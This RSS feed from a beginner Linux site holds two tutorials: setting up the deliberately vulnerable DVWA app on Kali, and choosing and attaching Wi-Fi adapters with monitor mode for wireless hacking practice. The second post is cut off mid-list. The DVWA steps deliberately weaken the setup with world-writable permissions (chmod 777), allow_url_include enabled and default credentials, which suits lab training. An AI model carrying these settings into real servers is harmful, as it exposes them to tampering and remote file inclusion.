<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>kali &#8211; NoobLinux</title>
	<atom:link href="https://nooblinux.com/tag/kali/feed/" rel="self" type="application/rss+xml" />
	<link>https://nooblinux.com</link>
	<description>Linux Tutorials Aimed at Beginners</description>
	<lastBuildDate>Thu, 12 Dec 2024 18:38:58 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9</generator>

<image>
	<url>https://nooblinux.com/wp-content/uploads/2021/10/cropped-MOSHED-2021-10-19-23-49-53-e1634757568151-32x32.jpg</url>
	<title>kali &#8211; NoobLinux</title>
	<link>https://nooblinux.com</link>
	<width>32</width>
	<height>32</height>
</image> 
<site xmlns="com-wordpress:feed-additions:1">198948974</site>	<item>
		<title>How to Install DVWA on Kali Linux for Pentesting Practice</title>
		<link>https://nooblinux.com/how-to-install-dvwa/</link>
					<comments>https://nooblinux.com/how-to-install-dvwa/#comments</comments>
		
		<dc:creator><![CDATA[N00b Ed]]></dc:creator>
		<pubDate>Tue, 19 Oct 2021 23:08:20 +0000</pubDate>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[kali]]></category>
		<guid isPermaLink="false">https://nooblinux.com/?p=3441</guid>

					<description><![CDATA[Anybody who wants to get started with Ethical hacking or wants to advance their skills in penetration testing will need a platform to practice whatever they learn using the various security tools available. Performing penetration tests on systems without administrative permission is considered illegal and can land you in huge problems, including a jail term [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>Anybody who wants to get started with Ethical hacking or wants to advance their skills in penetration testing will need a platform to practice whatever they learn using the various security tools available.</p>



<p class="orange-border">Performing penetration tests on systems without administrative permission is considered illegal and can land you in huge problems, including a jail term with hefty fines.</p>



<p>Practice makes perfect, but then, where do you practice hacking skills?</p>



<p>There are so many platforms available that you can use to practice penetration testing. Some of these are online platforms like <a href="https://tryhackme.com/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">TryHackMe<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, <a href="https://www.hackthebox.eu/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">HackTheBox<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, etc.</p>



<p>Some like <a href="https://vulnhub.com" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Vulnhub<span class="wpel-icon wpel-image wpel-icon-19"></span></a> allow you to download vulnerable virtual machines that you can exploit. This post will look at one of the platforms that you can install and set up on your Kali Linux system &#8211; The<strong><em> Damn Vulnerable Web Application (DVWA)</em></strong>.</p>



<p><strong>DVWA</strong> is a vulnerable web application developed with PHP and MYSQL.</p>



<p><strong>Yes!</strong> It’s intentionally developed to be vulnerable.</p>



<p>From my experience, it’s a great platform for both beginners and skilled since you have an option to set the desired security level (low, medium, high or impossible).</p>



<p>It’s also a great resource for web developers who wish to develop web applications with security in mind.</p>



<p class="blue-border">To learn a bit on how you can practice on it, you can check our related tutorial on <a href="https://nooblinux.com/sql-injection-exploitation-with-examples-using-dvwa/" data-wpel-link="internal">explaining SQL injections using DVWA</a></p>



<p>Let’s dive in and get started right away.</p>



<p class="purple-border"><strong>Note:</strong> This tutorial should work on other Debian-based distros, as well.</p>






<h2 id="step-1-download-dvwa" class="wp-block-heading">Step 1. Download DVWA</h2>



<p>Since we will be setting up DVWA on our localhost, launch the Terminal and navigate to the <code>/var/www/html</code> directory. That’s the location where localhost files are stored.</p>



<pre class="wp-block-preformatted promptkali">cd /var/www/html</pre>



<p>Next, we will clone the DVWA <a href="https://github.com/ethicalhack3r/DVWA" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">GitHub repository<span class="wpel-icon wpel-image wpel-icon-19"></span></a> in the <strong>/html</strong> directory using the command below.</p>



<pre class="wp-block-preformatted promptkali">sudo git clone https://github.com/ethicalhack3r/DVWA</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for kali: 
Cloning into 'DVWA'...
remote: Enumerating objects: 3398, done.
remote: Counting objects: 100% (85/85), done.
remote: Compressing objects: 100% (54/54), done.
remote: Total 3398 (delta 38), reused 58 (delta 29), pack-reused 3313
Receiving objects: 100% (3398/3398), 1.65 MiB | 4.21 MiB/s, done.
Resolving deltas: 100% (1508/1508), done.</pre>



<h2 id="step-2-configure-dvwa" class="wp-block-heading">Step 2. Configure DVWA</h2>



<p>After successfully cloning the repository, run the ls command to confirm DVWA was successfully cloned.</p>



<pre class="wp-block-preformatted promptkali">ls</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">DVWA  index.html  index.nginx-debian.html</pre>



<p>From the image above, you can see the DVWA folder. Now we need to assign <strong>Read</strong>, <strong>Write</strong> and <strong>Execute</strong> permissions (<strong>777</strong>) to this folder. Execute the command below.</p>



<pre class="wp-block-preformatted promptkali">sudo chmod -R 777 DVWA</pre>



<p>To set up and configure DVWA, we will need to navigate to the <strong>/dvwa/config</strong> directory. Use the command below:</p>



<pre class="wp-block-preformatted promptkali">cd DVWA/config</pre>



<p>Run the ls command to see the contents of the config directory.</p>



<pre class="wp-block-preformatted promptkali">ls</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">config.inc.php.dist</pre>



<p>You should see a file with the name <code>config.inc.php.dist</code>. That file contains the default DVWA configurations.</p>



<p>We will not tamper with it, and it will act as our backup if things go south. Instead, we will create a copy of this file with the name <code>config.inc.php</code> that we will use to configure DVWA. Use the command below.</p>



<pre class="wp-block-preformatted promptkali">sudo cp config.inc.php.dist config.inc.php</pre>



<p>You can use the <code>ls</code> command to check if the file was copied successfully.</p>



<pre class="wp-block-preformatted promptkali">ls</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">config.inc.php  config.inc.php.dist</pre>



<p>Now, open the <code>config.inc.php</code> file with the <code>nano</code> editor to make the necessary configurations.</p>



<pre class="wp-block-preformatted promptkali">sudo nano config.inc.php</pre>



<p>Scroll down to the point where you will see parameters like <strong>db_database</strong>, <strong>db_user</strong>, <strong>db_password</strong>, etc., as shown in the image below. Feel free to change these values, but note them down since you will require them when setting up the database. In my case, I will set <strong>db_user</strong> to <code>userDVWA</code> and <strong>db_password</strong> to <code>dvwa</code>.</p>


<div class="codeblock-title">Changed <strong>db_user</strong> and <strong>db_password</strong></div>



<pre class="wp-block-preformatted">...
$_DVWA = array();
$_DVWA[ 'db_server' ]   = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ]     = 'userDVWA';
$_DVWA[ 'db_password' ] = 'dvwa';
$_DVWA[ 'db_port'] = '3306';
...</pre>



<p>Save your changes (<strong>Ctrl + S</strong>) and Exit (<strong>Ctrl +X</strong>).</p>



<h2 id="step-3-configure-database" class="wp-block-heading">Step 3. Configure Database</h2>



<p>By default, Kali Linux comes installed with the <strong>MariaDB</strong> relational database management system. You, therefore, don’t need to install any packages. First, start the <strong>mysql service</strong> with the command below.</p>



<pre class="wp-block-preformatted promptkali">sudo systemctl start mysql</pre>



<p>You can check whether the service is running with the command:</p>



<pre class="wp-block-preformatted promptkali">systemctl status mysql</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">● mariadb.service - MariaDB 10.5.9 database server
     Loaded: loaded (/lib/systemd/system/mariadb.service; disabled; vendor p&gt;
     Active: active (running) since Mon 2021-07-26 19:13:38 EDT; 8s ago
       Docs: man:mariadbd(8)
             https://mariadb.com/kb/en/library/systemd/
    Process: 1632 ExecStartPre=/usr/bin/install -m 755 -o mysql -g root -d /&gt;
    Process: 1634 ExecStartPre=/bin/sh -c systemctl unset-environment _WSREP&gt;
    Process: 1636 ExecStartPre=/bin/sh -c [ ! -e /usr/bin/galera_recovery ] &gt;
    Process: 1699 ExecStartPost=/bin/sh -c systemctl unset-environment _WSRE&gt;
    Process: 1701 ExecStartPost=/etc/mysql/debian-start (code=exited, status&gt;
   Main PID: 1684 (mariadbd)
     Status: "Taking your SQL requests now..."
      Tasks: 15 (limit: 2287)
     Memory: 109.0M
        CPU: 1.339s
     CGroup: /system.slice/mariadb.service
             └─1684 /usr/sbin/mariadbd</pre>



<p>To log in to the database, use the command below. In our case, we are using <strong>root</strong> since that is the superuser name set on our system. If you have something different, then you will need to replace the root.</p>



<pre class="wp-block-preformatted promptkali">sudo mysql -u root -p</pre>



<p>You will be prompted for a password. However, since we haven’t set any yet, just hit Enter to continue.</p>



<pre class="wp-block-preformatted">Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 45
Server version: 10.5.9-MariaDB-1 Debian buildd-unstable

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.</pre>



<p>We will first create a new user using the credentials we set in the <strong>config.inc.php</strong> file in the DVWA directory. Execute the command below, <em>replacing the username and password</em> with your preset credentials.</p>



<pre class="wp-block-preformatted promptmariadb">create user 'userDVWA'@'127.0.0.1' identified by "dvwa";</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">Query OK, 0 rows affected (0.010 sec)</pre>



<p>We now need to grant this user total privilege over the <code>dvwa</code> database. Execute the command below, <em>replacing the username and password</em> with your credentials.</p>



<pre class="wp-block-preformatted promptmariadb">grant all privileges on dvwa.* to 'userDVWA'@'127.0.0.1' identified by 'dvwa';</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">Query OK, 0 rows affected (0.001 sec)</pre>



<p>That’s it! We are done configuring the database. Type <strong>Exit</strong> to close it.</p>



<h2 id="step-4-configure-apache-server" class="wp-block-heading">Step 4. Configure Apache Server</h2>



<p>The Apache web server comes installed by default on Kali Linux. Therefore, we don’t have to need to install any additional packages.</p>



<p>To get started configuring <strong>Apache2</strong>, launch the <strong>Terminal</strong> and navigate the <code>/etc/php/7.4/apache2</code> directory.</p>



<p class="neon-border"><strong>Note</strong>: As of writing this post, the PHP version available for Kali Linux is 7.4. If there is an update, running the command might raise the<strong> no such file or directory</strong> error. Therefore, you might first want to check your PHP version (<code>ls /etc/php</code>) and replace it accordingly in the command above.</p>



<pre class="wp-block-preformatted promptkali">cd /etc/php/7.4/apache2</pre>



<p>When you execute the <strong>ls</strong> command, you will see a file called <code>php.ini</code>. Execute the command below to edit this file using the <strong>nano</strong> editor.</p>



<pre class="wp-block-preformatted promptkali">sudo nano php.ini</pre>



<p>Scroll and look for the <strong>allow_url_fopen</strong> and <strong>allow_url_include</strong> lines and ensure that both are set to <code>On</code>.</p>



<p>By default, both or one of them is always set to <code>Off</code>.</p>



<pre class="wp-block-preformatted">; Whether to allow the treatment of URLs (like http:// or ftp://) as files.
; http://php.net/allow-url-fopen
allow_url_fopen = On

; Whether to allow include/require to open URLs (like http:// or ftp://) as &gt;
; http://php.net/allow-url-include
allow_url_include = On</pre>



<p>Save your changes (<strong>Ctrl +S</strong>) and Exit (<strong>Ctrl + X</strong>).</p>



<p>Proceed to start the apache webserver service with the command below. You can check whether the service is running by running the status command.</p>



<pre class="wp-block-preformatted promptkali">sudo systemctl start apache2
systemctl status apache2</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">● apache2.service - The Apache HTTP Server                                   
     Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor p&gt;
     Active: active (running) since Mon 2021-07-26 20:25:48 EDT; 5s ago
       Docs: https://httpd.apache.org/docs/2.4/
    Process: 2245 ExecStart=/usr/sbin/apachectl start (code=exited, status=0&gt;
   Main PID: 2256 (apache2)
      Tasks: 6 (limit: 2287)
     Memory: 17.8M
        CPU: 82ms
     CGroup: /system.slice/apache2.service
             ├─2256 /usr/sbin/apache2 -k start
             ├─2258 /usr/sbin/apache2 -k start
             ├─2259 /usr/sbin/apache2 -k start
             ├─2260 /usr/sbin/apache2 -k start
             ├─2261 /usr/sbin/apache2 -k start
             └─2262 /usr/sbin/apache2 -k start
</pre>



<h2 id="step-5-open-dvwa-on-your-web-browser" class="wp-block-heading">Step 5. Open DVWA on Your Web Browser</h2>



<p>Up to this point, we have configured DVWA, Database, and the Apache webserver.</p>



<p>We can now proceed to start the DVWA application. Launch your Web browser and type the URL below.</p>



<pre class="wp-block-preformatted">127.0.0/DVWA</pre>



<p>This action will redirect us to the DVWA <code>setup.php</code> page at <code>http://127.0.0.1/DVWA/setup.php</code>.</p>



<p>When you scroll down, you will see some errors in red color. <strong>Don’t panic!</strong> Click the <strong>Create / Reset Database</strong> button at the end of the page.</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="848" height="329" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-27.png" alt="" class="wp-image-3444" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-27.png 848w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-27-300x116.png 300w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-27-768x298.png 768w" sizes="(max-width: 848px) 100vw, 848px" /></figure>



<p>That will create and configure the DVWA database. After a few seconds, you will be redirected to the DVWA login page.</p>



<p>Use the <em>default credentials</em> below to log in.</p>



<ul class="wp-block-list"><li><strong>Username</strong>: admin</li><li><strong>Password</strong>: password</li></ul>



<div class="wp-block-image"><figure class="aligncenter size-full"><img decoding="async" width="523" height="362" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-28.png" alt="" class="wp-image-3445" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-28.png 523w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-28-300x208.png 300w" sizes="(max-width: 523px) 100vw, 523px" /></figure></div>



<p>After successfully logging in, you will be greeted by the DVWA homepage. On the left side, you can see all the available vulnerable pages you can use to practice.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="723" height="440" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-29.png" alt="" class="wp-image-3446" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-29.png 723w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-29-300x183.png 300w" sizes="(max-width: 723px) 100vw, 723px" /></figure>



<p>You will also see the DVWA Security option that enables you to choose the security level depending on your skills.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="566" height="122" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-30.png" alt="" class="wp-image-3447" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-30.png 566w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-30-300x65.png 300w" sizes="auto, (max-width: 566px) 100vw, 566px" /></figure>



<p>That’s it! Now, you can start testing out your web penetration skills on the DVWA.</p>



<h2 id="conclusion" class="wp-block-heading">Conclusion</h2>



<p>DVWA is a great platform for both beginners and advanced users because of its multi-layered security support. I believe this post has given you a detailed guide on how to set up DVWA on your Kali Linux system.</p>



<p>If you faced issues or errors in any of the steps above, please feel free to let us know in the comments section or by <a href="https://nooblinux.com/contact/" data-wpel-link="internal">contacting us</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://nooblinux.com/how-to-install-dvwa/feed/</wfw:commentRss>
			<slash:comments>3</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">3441</post-id>	</item>
		<item>
		<title>Connecting a Wireless Adapter to a Kali Linux Virtual Machine</title>
		<link>https://nooblinux.com/connecting-a-wireless-adapter-to-kali-linux-virtual-machine/</link>
					<comments>https://nooblinux.com/connecting-a-wireless-adapter-to-kali-linux-virtual-machine/#comments</comments>
		
		<dc:creator><![CDATA[N00b Ed]]></dc:creator>
		<pubDate>Tue, 19 Oct 2021 21:30:19 +0000</pubDate>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[hardware]]></category>
		<category><![CDATA[kali]]></category>
		<category><![CDATA[virtual machines]]></category>
		<guid isPermaLink="false">https://nooblinux.com/?p=3399</guid>

					<description><![CDATA[In “Network hacking,” most people get confused when talking about Network adapters and Network cards. Most don’t know what they are, why we need them, and how to select the best adapter since we have so many brands and models available in the market. A wireless adapter is a device that you connect to your [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>In “Network hacking,” most people get confused when talking about Network adapters and Network cards.</p>



<p>Most don’t know what they are, why we need them, and how to select the best adapter since we have so many brands and models available in the market.</p>



<p>A wireless adapter is a device that you connect to your computer via the USB port, and it allows you to connect to WiFi networks and communicate with other devices on the network.</p>



<style>
.animated-button {
    position: relative;
    background: #1ebce6;
    padding: 12px 20px;
    border-radius: 6px;
    text-decoration: none;
    font-weight: bold;
    color: #1a1a1a;
    isolation: isolate;
    overflow: hidden;
}

.animated-button::before {
    content: '';
    position: absolute;
    top: -2px;
    left: -2px;
    right: -2px;
    bottom: -2px;
    background: linear-gradient(90deg, #1ebce6, #37DE8F, #1ebce6);
    background-size: 200% 200%;
    z-index: -1;
    border-radius: 8px;
    animation: moveGradient 3s linear infinite;
}

@keyframes moveGradient {
    0% {
        background-position: 0% 50%;
    }
    100% {
        background-position: 200% 50%;
    }
}
</style>

<div class="promo-banner" style="background: linear-gradient(45deg, #1a1a1a, #2d2d2d); border: 1px solid #1ebce6; border-radius: 8px; padding: 16px; margin: 20px 0; position: relative;">
    <div class="promo-content" style="display: flex; align-items: center; gap: 20px;">
        <div style="flex: 3;">
            <img decoding="async" src="https://nooblinux.com/wp-content/uploads/2024/12/vpn_baron_logo.webp" alt="VPNBaron" style="height: 35px; margin-bottom: 8px;">
            <p style="color: #1ebce6; margin: 0 0 8px 0;"><strong>🔥 My go-to VPN: 60% Off Special</strong></p>
            <p style="color: #ffffff; margin: 8px 0; font-size: 15px;">
                Been using VPNBaron as my go-to for years. Their Trojan protocol makes it actually undetectable when needed, support is crazy responsive, and they&#8217;re running a rare 60% off right now. Works on all devices, adapts to whatever you&#8217;re trying to do.
            </p>
        </div>
        <div style="flex: 1; text-align: center;">
            <a href="https://vpnbaron.com/members/link.php?id=2" target="_blank" class="animated-button" rel="noopener" data-wpel-link="exclude">1.99$/month</a>
        </div>
    </div>
</div>



<p><strong>However, you might wonder</strong>: &#8220;Why would I need a USB network adapter since my laptop already has an inbuilt adapter that enables me to connect to wireless networks?&#8221;</p>



<p>Well, this is among the topics that we will discuss in this post:</p>



<ul class="wp-block-list">
<li>Problems with Built-in Wireless Cards</li>



<li>Best WiFi adapters for hacking</li>



<li>How to connect a wireless adapter to Kali Linux Virtual machine</li>
</ul>






<h2 id="problems-with-built-in-wireless-cards" class="wp-block-heading">Problems With Built-in Wireless Cards</h2>



<p>There are two main problems with built-in WiFi adapters.</p>



<ol class="wp-block-list squaretype-style">
<li><strong>They can’t be used in Virtual machines</strong> &#8211; Kali inside a VM does not see the built-in WiFi card of your laptop as a WiFi adapter but will see it as an ethernet adapter. Hence you can have full internet access, but you cannot do packet injection or place the WiFi card into monitor mode.</li>



<li><strong>Most built-in cards are not suitable for hacking</strong> &#8211; In wireless hacking, there are two main factors that we look out for in adapters. That is ‘packet infection’ and support for ‘monitor mode.’ Unfortunately, most of the built-in adapters support non of these two features.</li>
</ol>



<h2 id="best-wifi-adapters-for-hacking-with-monitor-mode" class="wp-block-heading">Best WiFi Adapters for Hacking (With Monitor Mode)</h2>



<p>Before diving into the different WiFi adapter brands and models, we first need to understand the Wireless Chipset present in these adapters. Like the CPU we have in a computer, this chipset is the “Brains” of the wireless adapter.</p>



<p>It is responsible for all the processing and calculation of data flowing through it. It also determines the capability of the wireless adapter. Whether it can support monitor mode, packet injection, and works with Kali Linux or not.</p>



<p>Some of the <strong>chipset</strong> supported by Kali Linux include:</p>



<ul class="wp-block-list">
<li>Realtek RTL8812AU</li>



<li>Realtek 8187L</li>



<li>Ralink RT5370N</li>



<li>Ralink RT3572</li>



<li>Ralink RT5572</li>



<li>Ralink RT3070</li>



<li>Ralink RT307</li>



<li>Atheros AR9271</li>



<li>MT7610U</li>



<li>MT7612U</li>
</ul>



<p><strong>I understand all this information looks gibberish as of now</strong>; however, you will appreciate it when we look at the different WiFi adapters available and the chipset they use.</p>



<p>You will notice that the <a href="https://www.alfa.com.tw/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ALFA Networks<span class="wpel-icon wpel-image wpel-icon-19"></span></a> company highly dominates the Wireless adapter market. Over the past couple of years, the company has risen to stand as the perfect supplier for efficient and reliable WIFI adapters. Other companies include <a href="https://www.tp-link.com/us/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">TP-Link<span class="wpel-icon wpel-image wpel-icon-19"></span></a> and <a href="https://www.pandawireless.com/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Panda<span class="wpel-icon wpel-image wpel-icon-19"></span></a>.</p>



<p>The table below shows a list of wireless adapters supported by Kali Linux and the <strong>Chipset</strong>, <strong>Frequency</strong>, and Protocol they are using.</p>



<figure class="wp-block-table"><table><thead><tr><th>Adapter Name</th><th>Chipset</th><th>Frequency</th><th>Protocol</th></tr><tr><th><a href="https://www.amazon.com/AWUS036NEH-Range-WIRELESS-802-11b-USBAdapter/dp/B0035OCVO6" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ALFA AWUS036NEH<span class="wpel-icon wpel-image wpel-icon-19"></span></a></th><th>Ralink RT3070</th><th>2.4GHz</th><th>802.11N</th></tr><tr><th>TP-LINK TL-WN722N 2.4GHz v1</th><th>Atheros AR9271</th><th>2.4GHz</th><th>802.11N</th></tr><tr><th><a href="https://www.amazon.com/TP-Link-TL-WN722N-Wireless-network-Adapter/dp/B002SZEOLG/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">TP-LINK TL-WN722N 2.4GHz v2/v3<span class="wpel-icon wpel-image wpel-icon-19"></span></a> (<a href="https://nooblinux.com/how-to-enable-monitor-mode-on-tp-link-tl-wn722n-v2-v3/" data-wpel-link="internal">with some workarounds</a>)</th><th>Realtek RTL8188EUS</th><th>2.4GHz</th><th>802.11N</th></tr><tr><th><a href="https://www.amazon.com/Alfa-AWUS036NH-802-11g-Wireless-Long-Range/dp/B003YIFHJY/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ALFA AWUS036NH<span class="wpel-icon wpel-image wpel-icon-19"></span></a></th><th>Ralink RT3070</th><th>2.4GHz</th><th>802.11N</th></tr><tr><th><a href="https://www.amazon.com/Alfa-AWUS036NHA-Wireless-USB-Adaptor/dp/B004Y6MIXS/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ALFA AWUS036NHA<span class="wpel-icon wpel-image wpel-icon-19"></span></a></th><th>Atheros AR9271</th><th>2.4GHz</th><th>802.11N</th></tr><tr><th><a href="https://www.amazon.com/gp/product/B01LY35HGO/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Panda PAU09<span class="wpel-icon wpel-image wpel-icon-19"></span></a></th><th>Ralink RT5572</th><th>2.4GHz</th><th>802.11N</th></tr><tr><th><a href="https://www.amazon.com/ALFA-AWUS036ACH-%E3%80%90Type-C%E3%80%91-Long-Range-Dual-Band/dp/B08SJC78FH/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ALFA AWUS036ACH<span class="wpel-icon wpel-image wpel-icon-19"></span></a></th><th>Realtek RTL8812AU</th><th>2.4GHz / 5GHz</th><th>802.11AC</th></tr><tr><th><a href="https://www.amazon.com/alfa-awus036h-802-11b-wireless-long-rang/dp/b005em292q" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ALFA AWUS036H<span class="wpel-icon wpel-image wpel-icon-19"></span></a></th><th>Realtek 8187L</th><th>2.4GHz</th><th>802.11b/g</th></tr><tr><th><a href="https://www.amazon.com/AWUS036ACHM-802-11ac-Range-Boost-Adapter/dp/B08SJBV1N3/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ALFA AWUS036ACHM<span class="wpel-icon wpel-image wpel-icon-19"></span></a></th><th>MT7610U</th><th>2.4GHz / 5GHz</th><th>802.11AC</th></tr><tr><th><a href="https://www.amazon.com/Alfa-AWUS036ACM-Long-Range-Dual-Band-Wireless/dp/B073X6RL9D" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ALFA AWUS036ACM<span class="wpel-icon wpel-image wpel-icon-19"></span></a></th><th>MT7612U</th><th>2.4GHz / 5GHz</th><th>802.11ac/a/b/g/n</th></tr><tr><th><a href="https://www.newegg.com/alfa-network-inc-awus1900-usb-3-0/p/0XM-000A-00036" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ALFA AWUS1900<span class="wpel-icon wpel-image wpel-icon-19"></span></a></th><th>Realtek RTL8814AU</th><th>2.4GHz / 5GHz</th><th>802.11ac/a/b/g/n</th></tr><tr><th><a href="https://www.amazon.com/Network-AWUS036AC-Long-Range-Wide-Coverage-High-Sensitivity/dp/B01B33WU82" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ALFA AWUS036AC<span class="wpel-icon wpel-image wpel-icon-19"></span></a></th><th>Realtek RTL8812AU</th><th>2.4GHz / 5GHz</th><th>802.11ac/a/b/g/n</th></tr><tr><th><a href="https://www.amazon.com/Network-AWUS036ACS-Wide-Coverage-Dual-Band-High-Sensitivity/dp/B0752CTSGD/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ALFA AWUS036ACS<span class="wpel-icon wpel-image wpel-icon-19"></span></a></th><th>Realtek RTL8811AU</th><th>2.4GHz / 5GHz</th><th>802.11ac/a/b/g/n</th></tr><tr><th><a href="https://www.alfa.com.tw/products/awus036eac?variant=36473966035016" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ALFA AWUS036EAC<span class="wpel-icon wpel-image wpel-icon-19"></span></a></th><th>Realtek RTL8812AU</th><th>2.4GHz / 5GHz</th><th>802.11ac/a/b/g/n</th></tr><tr><th><a href="https://www.ebay.com/itm/383385863645" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ALFA AWPCIE-1900U<span class="wpel-icon wpel-image wpel-icon-19"></span></a></th><th>Realtek RTL8814AU</th><th>2.4GHz / 5GHz</th><th>802.11ac/a/b/g/n</th></tr></thead></table></figure>



<p class="black-bg"><strong>Important</strong>: When it comes to <strong>TP-LINK TL-WN722N</strong>, it’s important to know that you can also get <strong>v2/v3</strong> to work with a few workarounds, although it’s sometimes assumed that only <strong>v1</strong> works.<br><br>A great and detailed tutorial on this topic is this one from <a href="https://www.youtube.com/watch?v=tYnjMiTTdms" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">David Bombal &#8211; Kali Linux TP-Link TP-WN722N<span class="wpel-icon wpel-image wpel-icon-19"></span></a>.<br><br><strong>TL-WN722N</strong> is a decent budget WiFi adapter for our purposes, but it’s sometimes difficult to find <strong>v1</strong> in your immediate area, so <strong>v2/v3</strong> is definitely a good option.<br><br>In some cases you won’t find the adapter’s version in the product description, so I think it’s definitely good to know you can make it work no matter which of those versions it is.</p>



<h2 id="connect-a-wireless-adapter-to-kali-linux-virtual-machine-virtualbox" class="wp-block-heading">Connect a Wireless Adapter to Kali Linux Virtual Machine (VirtualBox)</h2>



<p>To connect a wireless adapter to your Kali Linux virtual machine, when using VirtualBox, you can go in the <strong>Oracle VM VirtualBox menu &gt; Devices &gt; USB &gt; [select_your_adapter]</strong>.</p>



<p>It may not list the name of the WiFi Adapter, but something related to the chipset, instead. Here, I’m using a <strong>TP-LINK TL-WN722N 2.4GHz v2/v3</strong>, and as you can see, it’s displaying <strong>Realtek 802.11n NC</strong>.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1011" height="554" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-45.jpg" alt="" class="wp-image-3413" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-45.jpg 1011w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-45-300x164.jpg 300w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-45-768x421.jpg 768w" sizes="auto, (max-width: 1011px) 100vw, 1011px" /></figure>



<h3 id="automatically-connect-the-wifi-adapter-to-a-virtualbox-vm" class="wp-block-heading">Automatically Connect the WiFi Adapter to a VirtualBox VM</h3>



<p>You can also automatically connect a wireless adapter to your Kali Linux virtual machine, when running VirtualBox. This way, you don’t have to manually connect it every time</p>



<p>To do this follow the steps below:</p>



<ol class="wp-block-list squaretype-style">
<li>Shutdown the Kali virtual machine if it was already running</li>



<li>Connect your Wireless USB adapter to your PC</li>



<li>Right-click on your Kali Virtual machine and select the Settings option. A window will open displaying all the different configuration options.</li>



<li>Click on the USB option and check the Enable USB controller check box.<br><br><figure><img decoding="async" style="width: undefinedpx;" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-45.png"></figure><br><br>We will need to add a USB filter on this window that will enable us to mount our wireless adapter to the Kali VirtualBox VM.</li>



